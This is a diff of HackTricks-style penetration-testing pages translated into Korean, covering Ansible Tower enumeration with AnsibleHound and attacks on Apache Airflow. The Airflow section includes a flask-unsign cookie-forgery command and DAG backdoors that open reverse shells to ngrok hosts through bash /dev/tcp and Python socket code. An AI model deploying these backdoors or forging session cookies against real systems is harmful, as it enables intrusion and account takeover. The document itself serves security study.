- **관리자**: 팀의 구성원 및 관련 리소스를 관리할 수 있습니다.
9. **워크플로우 역할**:
- **관리자**: 워크플로우를 관리하고 수정할 수 있습니다.
- **실행**: 워크플로우를 실행할 수 있습니다.
- **읽기**: 보기 전용 접근.
</details>
## Enumeration & Attack-Path Mapping with AnsibleHound
## AnsibleHound를 통한 열거 및 공격 경로 매핑
`AnsibleHound` is an open-source BloodHound *OpenGraph* collector written in Go that turns a **read-only** Ansible Tower/AWX/Automation Controller API token into a complete permission graph ready to be analysed inside BloodHound (or BloodHound Enterprise).
`AnsibleHound`는 Go로 작성된 오픈 소스 BloodHound *OpenGraph* 수집기로, **읽기 전용** Ansible Tower/AWX/Automation Controller API 토큰을 BloodHound(또는 BloodHound Enterprise) 내에서 분석할 준비가 된 완전한 권한 그래프로 변환합니다.
### Why is this useful?
1. The Tower/AWX REST API is extremely rich and exposes **every object and RBAC relationship** your instance knows about.
2. Even with the lowest privilege (**Read**) token it is possible to recursively enumerate all accessible resources (organisations, inventories, hosts, credentials, projects, job templates, users, teams…).
3. When the raw data is converted to the BloodHound schema you obtain the same *attack-path* visualisation capabilities that are so popular in Active Directory assessments but now directed at your CI/CD estate.
### 이것이 유용한 이유는 무엇인가요?
1. Tower/AWX REST API는 매우 풍부하며 인스턴스가 알고 있는 **모든 객체 및 RBAC 관계**를 노출합니다.
2. 가장 낮은 권한(**읽기**) 토큰으로도 접근 가능한 모든 리소스(조직, 인벤토리, 호스트, 자격 증명, 프로젝트, 작업 템플릿, 사용자, 팀 등)를 재귀적으로 열거할 수 있습니다.
3. 원시 데이터가 BloodHound 스키마로 변환되면 Active Directory 평가에서 매우 인기 있는 *공격 경로* 시각화 기능을 얻을 수 있습니다 이제 CI/CD 환경에 적용됩니다.
Security teams (and attackers!) can therefore:
* Quickly understand **who can become admin of what**.
* Identify **credentials or hosts that are reachable** from an unprivileged account.
* Chain multiple “Read ➜ Use ➜ Execute ➜ Admin” edges to obtain full control over the Tower instance or the underlying infrastructure.
보안 팀(및 공격자!)은 따라서:
* **누가 무엇의 관리자가 될 수 있는지** 빠르게 이해할 수 있습니다.
* **비권한 계정에서 접근 가능한 자격 증명 또는 호스트를 식별할 수 있습니다.**
* 여러 “읽기 ➜ 사용 ➜ 실행 ➜ 관리자” 엣지를 연결하여 Tower 인스턴스 또는 기본 인프라에 대한 완전한 제어를 얻을 수 있습니다.
### Prerequisites
* Ansible Tower / AWX / Automation Controller reachable over HTTPS.
* A user API token scoped to **Read** only (created from *User Details → Tokens → Create Token → scope = Read*).
* Go ≥ 1.20 to compile the collector (or use the pre-built binaries).
### 전제 조건
* HTTPS를 통해 접근 가능한 Ansible Tower / AWX / Automation Controller.
* **읽기** 전용으로 범위가 설정된 사용자 API 토큰( *사용자 세부정보 → 토큰 → 토큰 생성 → 범위 = 읽기*에서 생성).
* 수집기를 컴파일하기 위한 Go ≥ 1.20(또는 미리 빌드된 바이너리 사용).
### Building & Running
### 빌드 및 실행
```bash
# Compile the collector
cd collector
@@ -175,37 +173,32 @@ Internally AnsibleHound performs *paginated* `GET` requests against (at least) t
/api/v2/users/
/api/v2/teams/
```
All collected pages are merged into a single JSON file on disk (default: `ansiblehound-output.json`).
모든 수집된 페이지는 디스크에 단일 JSON 파일로 병합됩니다 (기본값: `ansiblehound-output.json`).
### BloodHound Transformation
The raw Tower data is then **transformed to BloodHound OpenGraph** using custom nodes prefixed with `AT` (Ansible Tower):
### BloodHound 변환
원시 Tower 데이터는 **BloodHound OpenGraph**로 변환되며, `AT` (Ansible Tower)로 접두사가 붙은 사용자 정의 노드를 사용합니다:
* `ATOrganization`, `ATInventory`, `ATHost`, `ATJobTemplate`, `ATProject`, `ATCredential`, `ATUser`, `ATTeam`
And edges modelling relationships / privileges:
그리고 관계/권한을 모델링하는 엣지:
* `ATContains`, `ATUses`, `ATExecute`, `ATRead`, `ATAdmin`
The result can be imported straight into BloodHound:
결과는 BloodHound로 직접 가져올 수 있습니다:
```bash
neo4j stop # if BloodHound CE is running locally
bloodhound-import ansiblehound-output.json
```
Optionally you can upload **custom icons** so that the new node types are visually distinct:
선택적으로 **사용자 정의 아이콘**을 업로드하여 새로운 노드 유형이 시각적으로 구별되도록 할 수 있습니다:
```bash
python3 scripts/import-icons.py "https://bloodhound.example.com" "BH_JWT_TOKEN"
```
### Defensive & Offensive Considerations
* A *Read* token is normally considered harmless but still leaks the **full topology and every credential metadata**. Treat it as sensitive!
* Enforce **least privilege** and rotate / revoke unused tokens.
* Monitor the API for excessive enumeration (multiple sequential `GET` requests, high pagination activity).
* From an attacker perspective this is a perfect *initial foothold → privilege escalation* technique inside the CI/CD pipeline.
* *Read* 토큰은 일반적으로 무해한 것으로 간주되지만 여전히 **전체 토폴로지 및 모든 자격 증명 메타데이터**를 유출합니다. 이를 민감한 것으로 취급하세요!
* **최소 권한**을 적용하고 사용하지 않는 토큰을 회전/철회하세요.
* API에서 과도한 열거(다수의 연속 `GET` 요청, 높은 페이지 매김 활동)를 모니터링하세요.
* 공격자의 관점에서 이는 CI/CD 파이프라인 내에서 완벽한 *초기 발판 → 권한 상승* 기술입니다.
## References
* [AnsibleHound BloodHound Collector for Ansible Tower/AWX](https://github.com/TheSleekBoyCompany/AnsibleHound)
* [BloodHound OSS](https://github.com/BloodHoundAD/BloodHound)
{{#include ../banners/hacktricks-training.md}}

View File

@@ -2,22 +2,21 @@
{{#include ../../banners/hacktricks-training.md}}
### Basic Information
### 기본 정보
[**Apache Airflow**](https://airflow.apache.org) serves as a platform for **orchestrating and scheduling data pipelines or workflows**. The term "orchestration" in the context of data pipelines signifies the process of arranging, coordinating, and managing complex data workflows originating from various sources. The primary purpose of these orchestrated data pipelines is to furnish processed and consumable data sets. These data sets are extensively utilized by a myriad of applications, including but not limited to business intelligence tools, data science and machine learning models, all of which are foundational to the functioning of big data applications.
[**Apache Airflow**](https://airflow.apache.org)는 **데이터 파이프라인 또는 워크플로우를 조정하고 예약하는 플랫폼**으로 사용됩니다. 데이터 파이프라인의 맥락에서 "조정"이라는 용어는 다양한 출처에서 발생하는 복잡한 데이터 워크플로우를 정리하고, 조정하며, 관리하는 과정을 의미합니다. 이러한 조정된 데이터 파이프라인의 주요 목적은 처리되고 소비 가능한 데이터 세트를 제공하는 것입니다. 이러한 데이터 세트는 비즈니스 인텔리전스 도구, 데이터 과학 및 머신 러닝 모델 등 다양한 애플리케이션에서 광범위하게 사용되며, 이는 빅 데이터 애플리케이션의 기능에 필수적입니다.
Basically, Apache Airflow will allow you to **schedule the execution of code when something** (event, cron) **happens**.
기본적으로, Apache Airflow**무언가**(이벤트, 크론)가 **발생할 때 코드 실행을 예약할 수 있게 해줍니다**.
### Local Lab
### 로컬 실험실
#### Docker-Compose
You can use the **docker-compose config file from** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) to launch a complete apache airflow docker environment. (If you are in MacOS make sure to give at least 6GB of RAM to the docker VM).
[**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml)에서 **docker-compose 구성 파일을 사용하여** 완전한 apache airflow 도커 환경을 시작할 수 있습니다. (MacOS를 사용하는 경우 도커 VM에 최소 6GB RAM을 할당해야 합니다).
#### Minikube
One easy way to **run apache airflo**w is to run it **with minikube**:
**apache airflow**를 실행하는 쉬운 방법 중 하나는 **minikube로 실행하는 것입니다**:
```bash
helm repo add airflow-stable https://airflow-helm.github.io/charts
helm repo update
@@ -27,10 +26,9 @@ helm install airflow-release airflow-stable/airflow
# Use this command to delete it
helm delete airflow-release
```
### Airflow 구성
### Airflow Configuration
Airflow might store **sensitive information** in its configuration or you can find weak configurations in place:
Airflow는 **민감한 정보**를 구성에 저장할 수 있으며, 약한 구성이 있을 수 있습니다:
{{#ref}}
airflow-configuration.md
@@ -38,65 +36,62 @@ airflow-configuration.md
### Airflow RBAC
Before start attacking Airflow you should understand **how permissions work**:
Airflow를 공격하기 전에 **권한 작동 방식**을 이해해야 합니다:
{{#ref}}
airflow-rbac.md
{{#endref}}
### Attacks
### 공격
#### Web Console Enumeration
#### 웹 콘솔 열거
If you have **access to the web console** you might be able to access some or all of the following information:
**웹 콘솔에 접근할 수** 있다면 다음 정보 중 일부 또는 전부에 접근할 수 있습니다:
- **Variables** (Custom sensitive information might be stored here)
- **Connections** (Custom sensitive information might be stored here)
- Access them in `http://<airflow>/connection/list/`
- [**Configuration**](#airflow-configuration) (Sensitive information like the **`secret_key`** and passwords might be stored here)
- List **users & roles**
- **Code of each DAG** (which might contain interesting info)
- **변수** (여기에 사용자 정의 민감한 정보가 저장될 수 있습니다)
- **연결** (여기에 사용자 정의 민감한 정보가 저장될 수 있습니다)
- `http://<airflow>/connection/list/`에서 접근
- [**구성**](./#airflow-configuration) (여기에 **`secret_key`** 및 비밀번호와 같은 민감한 정보가 저장될 수 있습니다)
- **사용자 및 역할** 목록
- **각 DAG의 코드** (흥미로운 정보가 포함될 수 있습니다)
#### Retrieve Variables Values
#### 변수 값 검색
Variables can be stored in Airflow so the **DAGs** can **access** their values. It's similar to secrets of other platforms. If you have **enough permissions** you can access them in the GUI in `http://<airflow>/variable/list/`.\
Airflow by default will show the value of the variable in the GUI, however, according to [**this**](https://marclamberti.com/blog/variables-with-apache-airflow/) it's possible to set a **list of variables** whose **value** will appear as **asterisks** in the **GUI**.
변수는 Airflow에 저장될 수 있어 **DAGs**가 **값에 접근**할 수 있습니다. 이는 다른 플랫폼의 비밀과 유사합니다. **충분한 권한**이 있다면 `http://<airflow>/variable/list/`의 GUI에서 접근할 수 있습니다.\
Airflow는 기본적으로 GUI에서 변수의 값을 표시하지만, [****](https://marclamberti.com/blog/variables-with-apache-airflow/)에 따르면 **값**이 **별표**로 표시되는 **변수 목록**을 설정할 수 있습니다.
![](<../../images/image (164).png>)
However, these **values** can still be **retrieved** via **CLI** (you need to have DB access), **arbitrary DAG** execution, **API** accessing the variables endpoint (the API needs to be activated), and **even the GUI itself!**\
To access those values from the GUI just **select the variables** you want to access and **click on Actions -> Export**.\
Another way is to perform a **bruteforce** to the **hidden value** using the **search filtering** it until you get it:
그러나 이러한 **값**은 여전히 **CLI**를 통해 **검색**할 수 있으며 (DB 접근이 필요), **임의의 DAG** 실행, **API**를 통해 변수 엔드포인트에 접근 (API가 활성화되어야 함), **심지어 GUI 자체**를 통해서도 가능합니다!\
GUI에서 이러한 값에 접근하려면 **접근하고자 하는 변수**를 선택하고 **작업 -> 내보내기**를 클릭하면 됩니다.\
또 다른 방법은 **검색 필터링**을 사용하여 **숨겨진 값**에 대해 **브루트포스**를 수행하는 것입니다:
![](<../../images/image (152).png>)
#### Privilege Escalation
If the **`expose_config`** configuration is set to **True**, from the **role User** and **upwards** can **read** the **config in the web**. In this config, the **`secret_key`** appears, which means any user with this valid they can **create its own signed cookie to impersonate any other user account**.
#### 권한 상승
**`expose_config`** 구성이 **True**로 설정된 경우, **User** 역할 및 **상위** 역할은 **웹에서 구성**을 **읽을 수** 있습니다. 이 구성에는 **`secret_key`**가 나타나며, 이는 유효한 사용자가 **자신의 서명된 쿠키를 생성하여 다른 사용자 계정을 가장할 수** 있음을 의미합니다.
```bash
flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"
```
#### DAG 백도어 (Airflow 작업자에서 RCE)
#### DAG Backdoor (RCE in Airflow worker)
If you have **write access** to the place where the **DAGs are saved**, you can just **create one** that will send you a **reverse shell.**\
Note that this reverse shell is going to be executed inside an **airflow worker container**:
**DAGs가 저장된** 위치에 **쓰기 권한**이 있다면, **역쉘**을 보내는 **하나를 생성**할 수 있습니다.\
이 역쉘은 **airflow worker container** 내에서 실행될 것입니다:
```python
import pendulum
from airflow import DAG
from airflow.operators.bash import BashOperator
with DAG(
dag_id='rev_shell_bash',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
dag_id='rev_shell_bash',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = BashOperator(
task_id='run',
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1',
)
run = BashOperator(
task_id='run',
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1',
)
```
```python
@@ -105,74 +100,66 @@ from airflow import DAG
from airflow.operators.python import PythonOperator
def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")
with DAG(
dag_id='rev_shell_python',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
dag_id='rev_shell_python',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python',
python_callable=rs,
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
)
run = PythonOperator(
task_id='rs_python',
python_callable=rs,
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
)
```
#### DAG 백도어 (Airflow 스케줄러에서 RCE)
#### DAG Backdoor (RCE in Airflow scheduler)
If you set something to be **executed in the root of the code**, at the moment of this writing, it will be **executed by the scheduler** after a couple of seconds after placing it inside the DAG's folder.
코드의 **루트에서 실행되도록 설정**하면, 이 글을 작성하는 시점에서 DAG의 폴더에 넣은 후 몇 초 후에 **스케줄러에 의해 실행**됩니다.
```python
import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator
def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")
rs("2.tcp.ngrok.io", 14403)
with DAG(
dag_id='rev_shell_python2',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
dag_id='rev_shell_python2',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python2',
python_callable=rs,
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
run = PythonOperator(
task_id='rs_python2',
python_callable=rs,
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
```
#### DAG 생성
#### DAG Creation
DAG 클러스터 내의 **머신을 손상시키는 데 성공하면**, `dags/` 폴더에 새로운 **DAG 스크립트**를 생성할 수 있으며, 이 스크립트는 DAG 클러스터 내의 **다른 머신에 복제됩니다**.
If you manage to **compromise a machine inside the DAG cluster**, you can create new **DAGs scripts** in the `dags/` folder and they will be **replicated in the rest of the machines** inside the DAG cluster.
#### DAG 코드 주입
#### DAG Code Injection
GUI에서 DAG를 실행할 때 **인수를 전달**할 수 있습니다.\
따라서 DAG가 제대로 코딩되지 않으면 **명령어 주입에 취약할 수 있습니다.**\
이 CVE에서 발생한 일입니다: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)
When you execute a DAG from the GUI you can **pass arguments** to it.\
Therefore, if the DAG is not properly coded it could be **vulnerable to Command Injection.**\
That is what happened in this CVE: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)
All you need to know to **start looking for command injections in DAGs** is that **parameters** are **accessed** with the code **`dag_run.conf.get("param_name")`**.
Moreover, the same vulnerability might occur with **variables** (note that with enough privileges you could **control the value of the variables** in the GUI). Variables are **accessed with**:
DAG에서 **명령어 주입을 찾기 시작하기 위해 알아야 할 모든 것은** **매개변수**가 **코드 `dag_run.conf.get("param_name")`**로 **접근된다는 것입니다**.
게다가, 동일한 취약점이 **변수**에서도 발생할 수 있습니다(충분한 권한이 있으면 GUI에서 **변수의 값을 제어할 수 있습니다**). 변수는 **다음과 같이 접근됩니다**:
```python
from airflow.models import Variable
[...]
foo = Variable.get("foo")
```
If they are used for example inside a a bash command, you could perform a command injection.
예를 들어 bash 명령어 안에서 사용된다면, 명령어 주입을 수행할 수 있습니다.
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -4,111 +4,102 @@
## Configuration File
**Apache Airflow** generates a **config file** in all the airflow machines called **`airflow.cfg`** in the home of the airflow user. This config file contains configuration information and **might contain interesting and sensitive information.**
**Apache Airflow**는 모든 airflow 머신에서 **`airflow.cfg`**라는 **config file**을 생성합니다. 이 config file은 구성 정보를 포함하고 있으며 **흥미롭고 민감한 정보를 포함할 수 있습니다.**
**There are two ways to access this file: By compromising some airflow machine, or accessing the web console.**
**이 파일에 접근하는 방법은 두 가지입니다: 일부 airflow 머신을 손상시키거나 웹 콘솔에 접근하는 것입니다.**
Note that the **values inside the config file** **might not be the ones used**, as you can overwrite them setting env variables such as `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`.
**config file의 값**은 **사용되는 값이 아닐 수 있습니다**, 환경 변수를 설정하여 덮어쓸 수 있습니다, 예: `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`.
If you have access to the **config file in the web server**, you can check the **real running configuration** in the same page the config is displayed.\
If you have **access to some machine inside the airflow env**, check the **environment**.
**웹 서버의 config file에 접근할 수 있다면**, config가 표시되는 동일한 페이지에서 **실제 실행 구성**을 확인할 수 있습니다.\
**airflow 환경 내의 일부 머신에 접근할 수 있다면**, **환경**을 확인하십시오.
Some interesting values to check when reading the config file:
config file을 읽을 때 확인할 흥미로운 값들:
### \[api]
- **`access_control_allow_headers`**: This indicates the **allowed** **headers** for **CORS**
- **`access_control_allow_methods`**: This indicates the **allowed methods** for **CORS**
- **`access_control_allow_origins`**: This indicates the **allowed origins** for **CORS**
- **`auth_backend`**: [**According to the docs**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) a few options can be in place to configure who can access to the API:
- `airflow.api.auth.backend.deny_all`: **By default nobody** can access the API
- `airflow.api.auth.backend.default`: **Everyone can** access it without authentication
- `airflow.api.auth.backend.kerberos_auth`: To configure **kerberos authentication**
- `airflow.api.auth.backend.basic_auth`: For **basic authentication**
- `airflow.composer.api.backend.composer_auth`: Uses composers authentication (GCP) (from [**here**](https://cloud.google.com/composer/docs/access-airflow-api)).
- `composer_auth_user_registration_role`: This indicates the **role** the **composer user** will get inside **airflow** (**Op** by default).
- You can also **create you own authentication** method with python.
- **`google_key_path`:** Path to the **GCP service account key**
- **`access_control_allow_headers`**: 이는 **CORS**에 대한 **허용된** **헤더**를 나타냅니다.
- **`access_control_allow_methods`**: 이는 **CORS**에 대한 **허용된 메서드**를 나타냅니다.
- **`access_control_allow_origins`**: 이는 **CORS**에 대한 **허용된 출처**를 나타냅니다.
- **`auth_backend`**: [**문서에 따르면**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) API에 접근할 수 있는 사람을 구성하기 위한 몇 가지 옵션이 있습니다:
- `airflow.api.auth.backend.deny_all`: **기본적으로 아무도** API에 접근할 수 없습니다.
- `airflow.api.auth.backend.default`: **모두가** 인증 없이 접근할 수 있습니다.
- `airflow.api.auth.backend.kerberos_auth`: **kerberos 인증**을 구성합니다.
- `airflow.api.auth.backend.basic_auth`: **기본 인증**을 위한 것입니다.
- `airflow.composer.api.backend.composer_auth`: 작곡가 인증(GCP)을 사용합니다 ( [**여기서**](https://cloud.google.com/composer/docs/access-airflow-api) ).
- `composer_auth_user_registration_role`: 이는 **airflow** 내에서 **작곡가 사용자**가 가질 **역할**을 나타냅니다 (**Op**가 기본값입니다).
- 또한 **자신만의 인증** 방법을 파이썬으로 만들 수 있습니다.
- **`google_key_path`:** **GCP 서비스 계정 키**에 대한 경로입니다.
### **\[atlas]**
- **`password`**: Atlas password
- **`username`**: Atlas username
- **`password`**: 아틀라스 비밀번호
- **`username`**: 아틀라스 사용자 이름
### \[celery]
- **`flower_basic_auth`** : Credentials (_user1:password1,user2:password2_)
- **`result_backend`**: Postgres url which may contain **credentials**.
- **`ssl_cacert`**: Path to the cacert
- **`ssl_cert`**: Path to the cert
- **`ssl_key`**: Path to the key
- **`flower_basic_auth`** : 자격 증명 (_user1:password1,user2:password2_)
- **`result_backend`**: **자격 증명**을 포함할 수 있는 Postgres URL입니다.
- **`ssl_cacert`**: cacert에 대한 경로
- **`ssl_cert`**: 인증서에 대한 경로
- **`ssl_key`**: 키에 대한 경로
### \[core]
- **`dag_discovery_safe_mode`**: Enabled by default. When discovering DAGs, ignore any files that dont contain the strings `DAG` and `airflow`.
- **`fernet_key`**: Key to store encrypted variables (symmetric)
- **`hide_sensitive_var_conn_fields`**: Enabled by default, hide sensitive info of connections.
- **`security`**: What security module to use (for example kerberos)
- **`dag_discovery_safe_mode`**: 기본적으로 활성화되어 있습니다. DAG를 발견할 때 `DAG` `airflow` 문자열이 포함되지 않은 파일은 무시합니다.
- **`fernet_key`**: 암호화된 변수를 저장하기 위한 키(대칭)
- **`hide_sensitive_var_conn_fields`**: 기본적으로 활성화되어 있으며, 연결의 민감한 정보를 숨깁니다.
- **`security`**: 사용할 보안 모듈 (예: kerberos)
### \[dask]
- **`tls_ca`**: Path to ca
- **`tls_cert`**: Part to the cert
- **`tls_key`**: Part to the tls key
- **`tls_ca`**: ca에 대한 경로
- **`tls_cert`**: 인증서에 대한 경로
- **`tls_key`**: tls 키에 대한 경로
### \[kerberos]
- **`ccache`**: Path to ccache file
- **`forwardable`**: Enabled by default
- **`ccache`**: ccache 파일에 대한 경로
- **`forwardable`**: 기본적으로 활성화되어 있습니다.
### \[logging]
- **`google_key_path`**: Path to GCP JSON creds.
- **`google_key_path`**: GCP JSON 자격 증명에 대한 경로입니다.
### \[secrets]
- **`backend`**: Full class name of secrets backend to enable
- **`backend_kwargs`**: The backend_kwargs param is loaded into a dictionary and passed to **init** of secrets backend class.
- **`backend`**: 활성화할 비밀 백엔드의 전체 클래스 이름
- **`backend_kwargs`**: backend_kwargs 매개변수는 사전으로 로드되어 비밀 백엔드 클래스의 **init**에 전달됩니다.
### \[smtp]
- **`smtp_password`**: SMTP password
- **`smtp_user`**: SMTP user
- **`smtp_password`**: SMTP 비밀번호
- **`smtp_user`**: SMTP 사용자
### \[webserver]
- **`cookie_samesite`**: By default it's **Lax**, so it's already the weakest possible value
- **`cookie_secure`**: Set **secure flag** on the the session cookie
- **`expose_config`**: By default is False, if true, the **config** can be **read** from the web **console**
- **`expose_stacktrace`**: By default it's True, it will show **python tracebacks** (potentially useful for an attacker)
- **`secret_key`**: This is the **key used by flask to sign the cookies** (if you have this you can **impersonate any user in Airflow**)
- **`web_server_ssl_cert`**: **Path** to the **SSL** **cert**
- **`web_server_ssl_key`**: **Path** to the **SSL** **Key**
- **`x_frame_enabled`**: Default is **True**, so by default clickjacking isn't possible
- **`cookie_samesite`**: 기본적으로 **Lax**이며, 따라서 이미 가능한 가장 약한 값입니다.
- **`cookie_secure`**: 세션 쿠키에 **보안 플래그**를 설정합니다.
- **`expose_config`**: 기본값은 False이며, true일 경우 **config**를 웹 **콘솔**에서 **읽을 수 있습니다**.
- **`expose_stacktrace`**: 기본값은 True이며, **파이썬 추적**을 표시합니다 (공격자에게 유용할 수 있습니다).
- **`secret_key`**: 이는 쿠키에 서명하기 위해 flask가 사용하는 **키**입니다 (이 키가 있으면 **Airflow에서 모든 사용자를 가장할 수 있습니다**).
- **`web_server_ssl_cert`**: **SSL** **인증서**에 대한 **경로**입니다.
- **`web_server_ssl_key`**: **SSL** **키**에 대한 **경로**입니다.
- **`x_frame_enabled`**: 기본값은 **True**이며, 따라서 기본적으로 클릭재킹이 불가능합니다.
### Web Authentication
By default **web authentication** is specified in the file **`webserver_config.py`** and is configured as
기본적으로 **웹 인증**은 **`webserver_config.py`** 파일에 지정되어 있으며 구성됩니다.
```bash
AUTH_TYPE = AUTH_DB
```
Which means that the **authentication is checked against the database**. However, other configurations are possible like
즉, **인증이 데이터베이스에 대해 확인됩니다**. 그러나 다른 구성도 가능합니다.
```bash
AUTH_TYPE = AUTH_OAUTH
```
**제3자 서비스에 인증을 맡기기 위해서**.
To leave the **authentication to third party services**.
However, there is also an option to a**llow anonymous users access**, setting the following parameter to the **desired role**:
그러나 **익명 사용자 접근을 허용하는** 옵션도 있으며, 다음 매개변수를 **원하는 역할**로 설정할 수 있습니다:
```bash
AUTH_ROLE_PUBLIC = 'Admin'
```
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -4,43 +4,40 @@
## RBAC
(From the docs)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow ships with a **set of roles by default**: **Admin**, **User**, **Op**, **Viewer**, and **Public**. **Only `Admin`** users could **configure/alter the permissions for other roles**. But it is not recommended that `Admin` users alter these default roles in any way by removing or adding permissions to these roles.
(문서에서)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow는 기본적으로 **역할 세트**를 제공합니다: **Admin**, **User**, **Op**, **Viewer**, **Public**. **오직 `Admin`** 사용자만이 **다른 역할의 권한을 구성/변경할 수 있습니다**. 그러나 `Admin` 사용자가 이러한 기본 역할을 변경하여 권한을 추가하거나 제거하는 것은 권장되지 않습니다.
- **`Admin`** users have all possible permissions.
- **`Public`** users (anonymous) dont have any permissions.
- **`Viewer`** users have limited viewer permissions (only read). It **cannot see the config.**
- **`User`** users have `Viewer` permissions plus additional user permissions that allows him to manage DAGs a bit. He **can see the config file**
- **`Op`** users have `User` permissions plus additional op permissions.
- **`Admin`** 사용자는 모든 가능한 권한을 가집니다.
- **`Public`** 사용자는 권한이 없습니다.
- **`Viewer`** 사용자는 제한된 뷰어 권한(읽기 전용)을 가집니다. **구성을 볼 수 없습니다.**
- **`User`** 사용자는 `Viewer` 권한과 추가적인 사용자 권한을 가지고 있어 DAG를 약간 관리할 수 있습니다. 그는 **구성 파일을 볼 수 있습니다.**
- **`Op`** 사용자는 `User` 권한과 추가적인 운영 권한을 가집니다.
Note that **admin** users can **create more roles** with more **granular permissions**.
**admin** 사용자는 **더 많은 역할**을 **더 세분화된 권한**으로 생성할 수 있습니다.
Also note that the only default role with **permission to list users and roles is Admin, not even Op** is going to be able to do that.
또한 **사용자와 역할을 나열할 수 있는 권한이 있는 유일한 기본 역할은 Admin이며, Op조차도 이를 수행할 수 없습니다.**
### Default Permissions
### 기본 권한
These are the default permissions per default role:
기본 역할별 기본 권한은 다음과 같습니다:
- **Admin**
\[can delete on Connections, can read on Connections, can edit on Connections, can create on Connections, can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can delete on Pools, can read on Pools, can edit on Pools, can create on Pools, can read on Providers, can delete on Variables, can read on Variables, can edit on Variables, can create on Variables, can read on XComs, can read on DAG Code, can read on Configurations, can read on Plugins, can read on Roles, can read on Permissions, can delete on Roles, can edit on Roles, can create on Roles, can read on Users, can create on Users, can edit on Users, can delete on Users, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances, menu access on Admin, menu access on Configurations, menu access on Connections, menu access on Pools, menu access on Variables, menu access on XComs, can delete on XComs, can read on Task Reschedules, menu access on Task Reschedules, can read on Triggers, menu access on Triggers, can read on Passwords, can edit on Passwords, menu access on List Users, menu access on Security, menu access on List Roles, can read on User Stats Chart, menu access on User's Statistics, menu access on Base Permissions, can read on View Menus, menu access on Views/Menus, can read on Permission Views, menu access on Permission on Views/Menus, can get on MenuApi, menu access on Providers, can create on XComs]
\[Connections에서 삭제 가능, Connections에서 읽기 가능, Connections에서 편집 가능, Connections에서 생성 가능, DAGs에서 읽기 가능, DAGs에서 편집 가능, DAGs에서 삭제 가능, DAG Runs에서 읽기 가능, Task Instances에서 읽기 가능, Task Instances에서 편집 가능, DAG Runs에서 삭제 가능, DAG Runs에서 생성 가능, DAG Runs에서 편집 가능, Audit Logs에서 읽기 가능, ImportError에서 읽기 가능, Pools에서 삭제 가능, Pools에서 읽기 가능, Pools에서 편집 가능, Pools에서 생성 가능, Providers에서 읽기 가능, Variables에서 삭제 가능, Variables에서 읽기 가능, Variables에서 편집 가능, Variables에서 생성 가능, XComs에서 읽기 가능, DAG Code에서 읽기 가능, Configurations에서 읽기 가능, Plugins에서 읽기 가능, Roles에서 읽기 가능, Permissions에서 읽기 가능, Roles에서 삭제 가능, Roles에서 편집 가능, Roles에서 생성 가능, Users에서 읽기 가능, Users에서 생성 가능, Users에서 편집 가능, Users에서 삭제 가능, DAG Dependencies에서 읽기 가능, Jobs에서 읽기 가능, My Password에서 읽기 가능, My Password에서 편집 가능, My Profile에서 읽기 가능, My Profile에서 편집 가능, SLA Misses에서 읽기 가능, Task Logs에서 읽기 가능, Website에서 읽기 가능, Browse 메뉴 접근, DAG Dependencies 메뉴 접근, DAG Runs 메뉴 접근, Documentation 